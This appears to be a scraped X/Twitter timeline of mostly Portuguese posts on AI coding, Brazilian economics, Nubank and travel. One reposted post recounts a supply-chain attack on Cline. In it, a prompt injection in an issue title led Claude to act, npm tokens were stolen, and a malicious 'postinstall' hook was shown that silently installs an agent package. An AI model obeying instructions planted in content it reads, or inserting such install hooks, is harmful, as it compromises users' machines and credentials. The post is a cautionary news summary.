Wagner Bonfiglio

@tonbistudio See you in 13h 😅

Gave codex a long, multi-staged ML experiment with /goal. Let's see how this goes!

@WeiseFranklin @Prefeitura_Rio Peguei uma ajuda do ChatGPT pra ilustrar isso!

Eu cantei a bola: a @Prefeitura_Rio iria mentir sobre o público da Shakira. Dito e feito: 2 milhões. Como eu sei que é mentira? SIMPLES! Porque não cabe. Vem que explico: 1. O público ia do Copacabana Palace até um pouco depois da Princesa Isabel: 700 metros. 2. Largura máxima (prédios até o mar): 200 metros. 3. Densidade máxima de pessoas: 5 pessoas/m2 (valores que especialistas consideram baseados em histórico) 4. Capacidade da área: 700 x 200 x 5 =700.000 pessoas Sigam meu mantra: organizadores de eventos abertos ao público mentem. SEMPRE.

@ivanildoiii @brunofaggion Como equilibrar a automação com a superficialidade? Tenho visto algumas pessoas q toda comunicação tem uma pequena casca não-AI, mas o resto cheira, respira e grita AI.

Devo estar entre os 5% que mais usa AI no mundo. Sinto que existe um abismo intransponível entre onde eu estou e os 1% que mais usam. Conheço um cara que deve estar nos 1%. Ele sente que está a uma galáxia de distância dos 0,1%. Estes devem estar a um universo de quem está no 0,01%. Sinto que essa desigualdade só vai piorar antes de começar a melhorar.

@WesRoth @lucas_montano always told about it

Claude has felt increasingly "lazy" and unusable for complex engineering tasks, and now an AMD Senior AI Director has brought the hard receipts. A deep dive into session logs from January to March reveals a staggering, quantifiable degradation in the model's performance.

@drewcrawford_ @RenanSantosMBL @MBLivre

"Brazil is the country of the future... and always will be." That line has been repeated for 80 years. It was funny for 79 of them. Here is what the country of the future looks like in 2026: 8th largest economy on earth. 7th by purchasing power. Largest net food exporter in the world. Feeds over a billion people. 108.2 million tonnes of soybeans exported in 2025. New record. $43.5 billion in revenue. 12% of the world's freshwater. Hydroelectric power at $30-50/MWh. Half the US cost. One-third of Europe. 87% renewable grid. The fuel is water and it's already paid for. 94% of global niobium. Second-largest reserves of rare earths. Second-largest reserves of graphite. America's largest alumina supplier. 50%+ of the territory still geologically unmapped. Pix processes 6-7 billion transactions per month. 170 million users. 93% of the adult population. More transactions than any instant payment system in the Western Hemisphere. Brazil is two full technology cycles ahead of the US in public financial infrastructure. Nubank: 110 million customers, $85 billion valuation, $895 million quarterly profit. Founded 13 years ago. Now the most valuable financial institution in Latin America. Brazilian cooperatives generated R$656 billion in 2022. Agricultural cooperatives alone: R$437 billion. The top ten hit R$157 billion in 2024. Coamo is the largest company in Paraná by net revenue. No Bloomberg screen. No analyst coverage. Invisible to international capital. Ibovespa started 2026 at 9.25x forward earnings. S&P 500 at 21x. Since then, 16 all-time records and +22% YTD. The gap is closing. Most American investors missed the move. Farmland in MATOPIBA: $5,200/hectare. Iowa: $49,400. Both grow soybeans. Brazil harvests twice per year. Private industrials in the South trading at 4-8x EBITDA. The identical company in Wisconsin trades at 10-15x. Same margins. Same machines. Same export customers. 1.8 million Brazilians in the United States built an invisible economy with zero institutional support. 18% self-employment rate in Massachusetts (3x the state average). Their children are graduating bilingual from American universities. They are the human infrastructure of the corridor. R$140 billion in railway concessions just launched. 9,000+ km of new track. The logistics gap (the only structural disadvantage left) is being closed. $565 million in US critical minerals investment committed before a bilateral deal exists. 54 countries attended Washington's minerals ministerial. China controls 90% of rare earth refining. Brazil holds the reserves that break that monopoly. 28 million hectares of degraded pastureland available for conversion. Soy yields growing 2.8% annually for 20 years (global average: 1.45%). 50+ GW of untapped hydroelectric capacity. The country of the future was always waiting for the infrastructure to connect its assets with the capital that would develop them. The infrastructure is being built right now. The prophecy wasn't wrong. It was early.

Deborah, to aqui assistindo o vídeo e pensando q vc pode ser a chave para um problema gigante na área de desenvolvimento. Eu sou Dev há mais de 20 anos, fui CTO nos últimos 10 e estou acompanhando de perto a evolução da AI Coding desde o começo. A preocupação maior vem da forma que vamos formar novos devs nesse novo mundo. A diferença de um junior para um pleno e um senior não é só na quantidade de conhecimento absorvido, mas principalmente na vivência de criação de diferentes projetos em diferentes ambientes. Como eu costumo brincar, quando vc faz um DROP DATABASE em produção vc está apto para passar de nível, pq o gelo na espinha e a forma de lidar com uma grande 💩 te ensina mais do que anos de estudo teórico. Então a preocupação nessa era de AI assisted coding, ou pior ainda para vibe coding, é que o dev que não prestar atenção em cada etapa dificilmente vai absorver os aprendizados necessários. Mas ao ver vc, uma não dev q consegue pegar muito bem a essência desse vibe coding guiado, por um lado me dá esperança que exista um caminho para a formação de bons devs. Mas por outro me faz refletir se a forma como as escolas de programação atual é o caminho adequado. Até 3 anos atrás era óbvio que o aluno precisava aprender lógica, algoritmo, sintaxe de uma linguagem, e daí partir para projetos reais. Esse teu vídeo fala na veia sobre os problemas de um vibe coding não guiado, como passar por cima disso, e independente se sabe a lógica ou a sintaxe, confiar que a AI vai fazer uma boa entrega dentro de parâmetros de qualidade de código mais bem definidos. Sei q vc tem um sócio fera na área, mas se quiser bater um papo sobre como seria um curso de programação nessa nova era, adoraria fazer parte de um projeto com vc. Parabéns pelo trabalho 💪

Obrigada seu maravilhoso ❤️

if you reply to this you’re really just giving me engagement and that means you’re awesome

Por isso o VS Code pergunta se vc confia na extensão que vc está instalando. Eu só não lembro o que acontece se eu falar que não confio. Ou eles deixam rodar os scripts de instalação em um ambiente mais controlado (que tiraria poderes legítimos de extensões corretas) ou se não deixaria instalar a extensão "não confiável". Nesse caso o complicado foi justamente colocar o ataque em uma extensão extremamente confiável e útil para os programadores.

@dfolloni @cline Entendi, eu só não sabia que existia a possibilidade de acontecer uma instalação por trás dos panos sem a "confirmação" do usuário no Terminal 😮 Será que tem como proibir isso no pc, linux ou mac?

Um hacker simplesmente hackeou o @cline e instalou o OpenClaw em 4.000 computadores com prompt injection 🫠 Olha que loucura: - O time do Cline criou um workflow de triagem de issues automatizado no GitHub, usando o próprio Claude pra ler e categorizar os tickets - O hacker abriu uma issue com um prompt injection no título — o Claude leu, achou que era uma instrução legítima, e executou - Com isso, ele encheu o cache do GitHub com lixo até forçar a deleção dos caches legítimos de build, substituiu por caches envenenados, e roubou os tokens de publicação do npm - Com os tokens em mãos, ele publicou uma nova versão do cline que parecia idêntica a anterior, só que com uma linhazinha a mais no package.json: "postinstall": "npm install -g openclaw@latest" Resultado: 4,000 devs instalaram o openclaw nas suas máquinas sem saber (aka: um agente com acesso total ao seu computador) 🥲 Muito importante lembrar que IAs não têm malícia e por isso prompt injections são, na minha opinião, a maior vulnerabilidade delas. Resumindo galera: CUIDADO. quem quiser ler na íntegra: thehackernews.com/2026/02/cline-…

@Burgos Sim, assisto tudo que sai por lá! Só o vídeo de notícias diárias que sinto falta de um cuidado maior. As vozes por AI nem incomodam, mas algum guia visual ou mudança do lettering a cada passagem de notícia ajudaria a tornar menos monótono. Enfim, melhor canal tech/fin do YT BR

@WagnerBon Ah, muito obrigado! O pessoal do InvestNews é fera também na direção e edição. :)

Povo que tá testando e curtindo o Claude, dica: usem as SKILLS. Acho que é um paradigma que pode aumentar bastante a utilidade da IA no nosso dia-a-dia. Fiz um vídeo explicando: youtube.com/watch?v=5wu9yR…

@mattturck @product_gurus @lucas_montano

Breaking: CEO of an app to cheat on everything cheated

@alguma_coisa4 @_TrabalhistaBR @elrojodelPI FASCISTA! Vai fazer contas agora??? Claramente não é político, se fosse era só prometer e boa!

@_TrabalhistaBR @elrojodelPI Eu tbm quero tu de bom que tem na China, sem precisar pagar o preço que eles pagam! (Como por exemplo a aposentadoria deles, as leis trabalhistas, escala de trabalho, pouco gasto em bem estar social etc...) mas meio que não dá ne? Sempre tem custos e trade-offs

Vocês são assim

Marc Andreessen just dropped ~105 mins on Lenny's Podcast covering AI, jobs, careers, and why everyone is panicking about the wrong thing. Just the clearest macro framework I've heard on where AI actually lands. My notes: 𝟭. 𝗔𝗜 𝗶𝘀 𝗮𝗿𝗿𝗶𝘃𝗶𝗻𝗴 𝗮𝘁 𝘁𝗵𝗲 𝗲𝘅𝗮𝗰𝘁 𝗺𝗼𝗺𝗲𝗻𝘁 𝗵𝘂𝗺𝗮𝗻𝗶𝘁𝘆 𝗻𝗲𝗲𝗱𝘀 𝗶𝘁. US productivity growth has been running at half the rate of the 1940-1970 era and a third the rate of 1870-1940. The global population is declining below replacement in dozens of countries, including China. Without AI, we would be panicking about economies shrinking from depopulation, not job loss. The timing is almost miraculous. This is what Andreessen means when he says the real boom has not started yet. We have been in a 50-year productivity drought, and most people do not even realize it. 𝟮. 𝗔𝗜 𝗶𝘀 𝘁𝗵𝗲 𝗽𝗵𝗶𝗹𝗼𝘀𝗼𝗽𝗵𝗲𝗿'𝘀 𝘀𝘁𝗼𝗻𝗲. Isaac Newton spent decades trying to transmute lead into gold and never succeeded. AI does something more powerful: it converts sand (silicon) into thought. The most common material in the world is the rarest output. This one metaphor reframes the entire AI conversation. You do not have a job loss problem. You have a philosopher's stone sitting on your desk that you are not using enough. 𝟯. 𝗔𝗜 𝗺𝗮𝗸𝗲𝘀 𝗴𝗼𝗼𝗱 𝗽𝗲𝗼𝗽𝗹𝗲 𝘃𝗲𝗿𝘆 𝗴𝗼𝗼𝗱, 𝗮𝗻𝗱 𝘃𝗲𝗿𝘆 𝗴𝗼𝗼𝗱 𝗽𝗲𝗼𝗽𝗹𝗲 𝘀𝗽𝗲𝗰𝘁𝗮𝗰𝘂𝗹𝗮𝗿𝗹𝘆 𝗴𝗿𝗲𝗮𝘁. The best coders right now are not reporting 2x productivity. They are reporting 10x. The gap between "pretty good with AI" and "elite with AI" is widening, not narrowing. This is the most important signal for career planning right now. If you are just using AI to do the same job slightly faster, you are leaving the real leverage on the table. 𝟰. 𝗧𝗵𝗲𝗿𝗲'𝘀 𝗮 𝗠𝗲𝘅𝗶𝗰𝗮𝗻 𝘀𝘁𝗮𝗻𝗱𝗼𝗳𝗳 𝗯𝗲𝘁𝘄𝗲𝗲𝗻 𝗣𝗠𝘀, 𝗲𝗻𝗴𝗶𝗻𝗲𝗲𝗿𝘀, 𝗮𝗻𝗱 𝗱𝗲𝘀𝗶𝗴𝗻𝗲𝗿𝘀. Every engineer now thinks they can be a PM and designer. Every PM thinks they can code and design. Every designer knows they can do both. And they are all correct, because AI enables each role to absorb the tasks of the other two. I have seen this firsthand in the investing world. The analyst who can build models and write narratives is 5x more valuable than someone who can do only one. The same convergence is happening in the product. 𝟱. 𝗙𝗼𝗿𝗴𝗲𝘁 𝗧-𝘀𝗵𝗮𝗽𝗲𝗱. 𝗕𝘂𝗶𝗹𝗱 𝗮𝗻 𝗘-𝘀𝗵𝗮𝗽𝗲𝗱 𝗰𝗮𝗿𝗲𝗲𝗿. Scott Adams could not have created Dilbert by being the world's best cartoonist or the world's best business mind. He needed both. The additive effect of two skills is more than double. Three skills are more than triple. Larry Summers puts it differently: don't be fungible. The person who can code, design, and ship a product is no longer a unicorn. They are the new baseline for "extremely valuable." If you are only one of those three things, you are increasingly replaceable. 𝟲. 𝗝𝗼𝗯𝘀 𝗮𝗿𝗲 𝗯𝘂𝗻𝗱𝗹𝗲𝘀 𝗼𝗳 𝘁𝗮𝘀𝗸𝘀. 𝗧𝗮𝘀𝗸𝘀 𝗰𝗵𝗮𝗻𝗴𝗲. 𝗝𝗼𝗯𝘀 𝗽𝗲𝗿𝘀𝗶𝘀𝘁. Executives never typed their own emails in the 1970s. Secretaries printed incoming emails and hand-delivered them. Both roles survived the transition, just with different task sets. The same will happen with AI and coding, PM work, and design. Everyone obsessing over "will my job disappear" is asking the wrong question. The right question is: which tasks in my job are about to rotate, and am I ready to pick up the new ones? 𝟳. 𝗔𝗜 𝗰𝗼𝗱𝗶𝗻𝗴 𝗶𝘀 𝗷𝘂𝘀𝘁 𝘁𝗵𝗲 𝗻𝗲𝘅𝘁 𝗮𝗯𝘀𝘁𝗿𝗮𝗰𝘁𝗶𝗼𝗻 𝗹𝗮𝘆𝗲𝗿. We went from human calculators to machine code to assembly to C to scripting languages. Each layer was dismissed by the previous generation. Each time, the new layer won, and total coding employment grew. AI coding is the same pattern, not a rupture. The Perl programmers of 2005, laughing at JavaScript, are the C programmers of 1995, laughing at scripting. History rhymes, and it always rewards the people who adopt the next abstraction first. 𝟴. 𝗔𝗜 𝘁𝘂𝘁𝗼𝗿𝗶𝗻𝗴 𝗱𝗲𝗺𝗼𝗰𝗿𝗮𝘁𝗶𝘇𝗲𝘀 𝗲𝗹𝗶𝘁𝗲 𝗲𝗱𝘂𝗰𝗮𝘁𝗶𝗼𝗻. One-on-one tutoring is the only method proven to move a student from the 50th to the 99th percentile (Bloom's two sigma effect). It used to require being born into royalty. Alexander the Great was tutored by Aristotle. Now, any kid with a phone can access the same quality of personalized instruction. This is the most under-discussed consequence of AI. Every parent reading this should be supplementing their kid's education with structured AI tutoring right now. Not next year. Now. 𝟵. 𝗣𝗲𝘁𝗲𝗿 𝗧𝗵𝗶𝗲𝗹 𝘄𝗮𝘀 𝗺𝗼𝗿𝗲 𝗿𝗶𝗴𝗵𝘁 𝘁𝗵𝗮𝗻 𝗔𝗻𝗱𝗿𝗲𝗲𝘀𝘀𝗲𝗻 𝗼𝗿𝗶𝗴𝗶𝗻𝗮𝗹𝗹𝘆 𝗮𝗱𝗺𝗶𝘁𝘁𝗲𝗱. Progress in bits masked stagnation in atoms. The built world is barely different from 50 years ago. Same bridges from the 1930s, same dams from the 1910s. Cartels, monopolies, unions, and regulations prevent the rate of change that people had 100 years ago. This is also why AI will not transform everything overnight. Institutional sclerosis is real. Healthcare alone could take a generation. If you are building in atoms, budget for a war of attrition, not a blitzkrieg. 𝟭𝟬. 𝗠𝗼𝗮𝘁𝘀 𝗶𝗻 𝗔𝗜 𝗮𝗿𝗲 𝗴𝗲𝗻𝘂𝗶𝗻𝗲𝗹𝘆 𝘂𝗻𝗸𝗻𝗼𝘄𝗻. Within a year of ChatGPT's launch, five American companies, five Chinese companies, and open-source all had roughly equivalent models. DeepSeek emerged from a hedge fund in China and basically replicated the American labs' work. The smartest AI insiders privately admit there aren't many real secrets among the big labs. This is the most honest take I have heard from a top-tier VC. No one knows if the value accrues to models, apps, or infrastructure. Anyone who tells you otherwise is selling you certainty they do not have. 𝟭𝟭. 𝗔𝗜 𝗜𝗤 𝘄𝗶𝗹𝗹 𝗯𝗹𝗼𝘄 𝗽𝗮𝘀𝘁 𝗵𝘂𝗺𝗮𝗻 𝗹𝗶𝗺𝗶𝘁𝘀. Human IQ caps around 160 because of biology. Current AI models test around 130-140. There is no theoretical ceiling stopping AI from reaching 200, 250, or 300. The concept of AGI as a "human equivalent" will be a footnote because AI will race past that threshold. This is the frame that makes the "will AI take my job" debate feel small. We are not building a replacement for human thought. We are building something that will be better than the best human thought has ever been. 𝟭𝟮. 𝗧𝗵𝗲 𝗯𝗲𝘀𝘁 𝗳𝗼𝘂𝗻𝗱𝗲𝗿𝘀 𝗮𝗿𝗲 𝗿𝗲𝘁𝗵𝗶𝗻𝗸𝗶𝗻𝗴 𝘄𝗵𝗮𝘁 𝗮 𝗰𝗼𝗺𝗽𝗮𝗻𝘆 𝗲𝘃𝗲𝗻 𝗶𝘀. Layer one: AI redefines products. Layer two: AI redefines jobs within companies. Layer three, which has not dropped yet: AI redefines the very concept of having a company. The holy grail is the one-person, billion-dollar outcome, and the best founders are chasing it. Satoshi did it with Bitcoin. Instagram and WhatsApp came close with tiny teams. The question is no longer if this is possible with software. The question is how many of these we will see in the next five years. AI is the philosopher's stone. The question is whether you pick it up. The full podcast is worth your time. Link in replies.

@Felippe_Hermes E qual foi a resposta na época?

Qdo conheci Cris pessoalmente, minha pergunta foi "pq o Nu não entra nos EUA?" Hoje (Uns 5 anos depois), ela virou CEO do Nu nos EUA. Vai ser curioso ver se vão escalar na mesma velocidade do Brasil, México e Colômbia. Aposto que sim.

O Nu é o maior banco do Brasil em número de clientes (após a CEF que paga benefícios públicos). São +100 milhões de correntistas e 1 única vantagem: o app é simples. Vai fazer muito sucesso nos EUA agora. Baita empresa. *E um detalhe que tem 10% dos ativos do Itaú e 33% do Lucro.

2014 fiz San Francisco, Los Angeles, Vegas e San Francisco. No meio do caminho tem Highway 1 contornando o litoral, tem Carmel/Monterey como cidades lindas, tem Big Sur como montanha com neve, passando o Big Sur pega fazendas, depois Santa Barbara como uma praia agradável e chega em Los Angeles (que é um mundo a parte). Indo pra Vegas é um deserto mais sem graça, mas Vegas é muito mais do que Cassinos e loucuras. Saindo de lá passamos pelo Death Valley, deserto batendo quase 50 graus, subidas e descidas insanas. No mesmo dia você chega em Yosemite, um parque fantástico com muita floresta, cachoeiras e também neve. Sim, mesmo dia fui de quase 50 graus pra ver neve. Poderia ter ido pra Lake Tahoe, mas cruzamos o meio do parque para voltar para SF. Viagem fantástica que acabamos revisitando em 2023, mas dessa vez incluindo Grand Cannyon e Hover Dan. Já fiz esse roteiro para pelo menos 5 amigos, ninguém se arrependeu!

Eu já viajei pra países pra caralho em 4 continentes e também não sou fã das viagens típicas pros EUA (NY, LA, Orlando). Dito isso, algumas das viagens mais iradas que eu já fiz foram road trips em parques nacionais americanos. A latitude mais alta deles permite uma diversidade natural bem maior que a do Brasil (que é lindo e eu gosto muito, não to falando mal). Tem deserto, tem montanha, tem florestas antigas, tem canyon, tem geiser, tem macrofauna, e praticamente todo lugar pode ser visitado 4 vezes, nas 4 estações do ano, e será um lugar completamente diferente. Além disso o país tem infra e é fácil de viajar. Eu entendo quem tem preconceito com viajar pros EUA porque acha que tudo é shopping mall, mas isso aí é que nem o gringo que vai pro Rio de Janeiro e acha que o Brasil é bunda, putaria e carnaval se nunca ter ido pras praias do nordeste, pro Pantanal ou pras cidades históricas de Minas Gerais. Se você tem vontade de fazer uma road trip dessas, nem pensa duas vezes. Meu roteiro favorito é começar pelo Grand Canyon e ir até o Yellowstone/Grand Teton.

@brunofaggion PQP, aula. Medo&informação, problema&solução, vilões&heróis, terminando com um CTA bizarramente simples mas eficiente, sem tocar o FOMO mas criando a curiosidade e desejo necessários pra ação.....

Se alguém aqui tem uma marca DTC, para a empresa inteira agora e estuda esse anúncio. Se quiserem que eu faça um breakdown dele no meu canal comenta aí embaixo.

@lucas_montano OpenClaw?

vibe code addiction is real after you connect to a claude session from your phone

@DavidOndrej1 Great effort David, thank you very much! Bookmarked it to watch later

After building an AI Agent startup, selling it for $1.8 mil and meeting the founder of n8n I've decide to share everything I know about building AI Agents Here is a Beginners Guide to AI Agents in 2026 (3+ hours)

@cibelerusso Você foi professora do MBA de Ciência de Dados da USP na turma de 2020? Tenho memória fraca mas acho que lembro de você! Curso muito difícil, infelizmente não entreguei o TCC, mas aproveitei demais cada matéria!

Sou a Cibele Russo, Profa. Doutora na USP. Tenho um canal de aulas de Estatística e Ciência de Dados no YouTube, @cibelerussousp" target="_blank" rel="nofollow noopener">youtube.com/@cibelerussousp em temas como Inferência Estatística, Modelagem Estatística, Aprendizado de Máquina Supervisionado e Não-Supervisionado, Visualização e Exploração de Dados, Gestão da Qualidade e em breve Fundamentos em Ciência de Dados. Usem sem moderação, compartilhem e o conhecimento vai mais longe :) Quem aí já assistiu às minhas aulas (onde? O que quer ver no canal?)

@andreshalders Por 200mil eu iria na casa de cada um, fazia um coffee break ixxxxxperto, e ainda dava supoete remoto por 1 ano!

Rapaz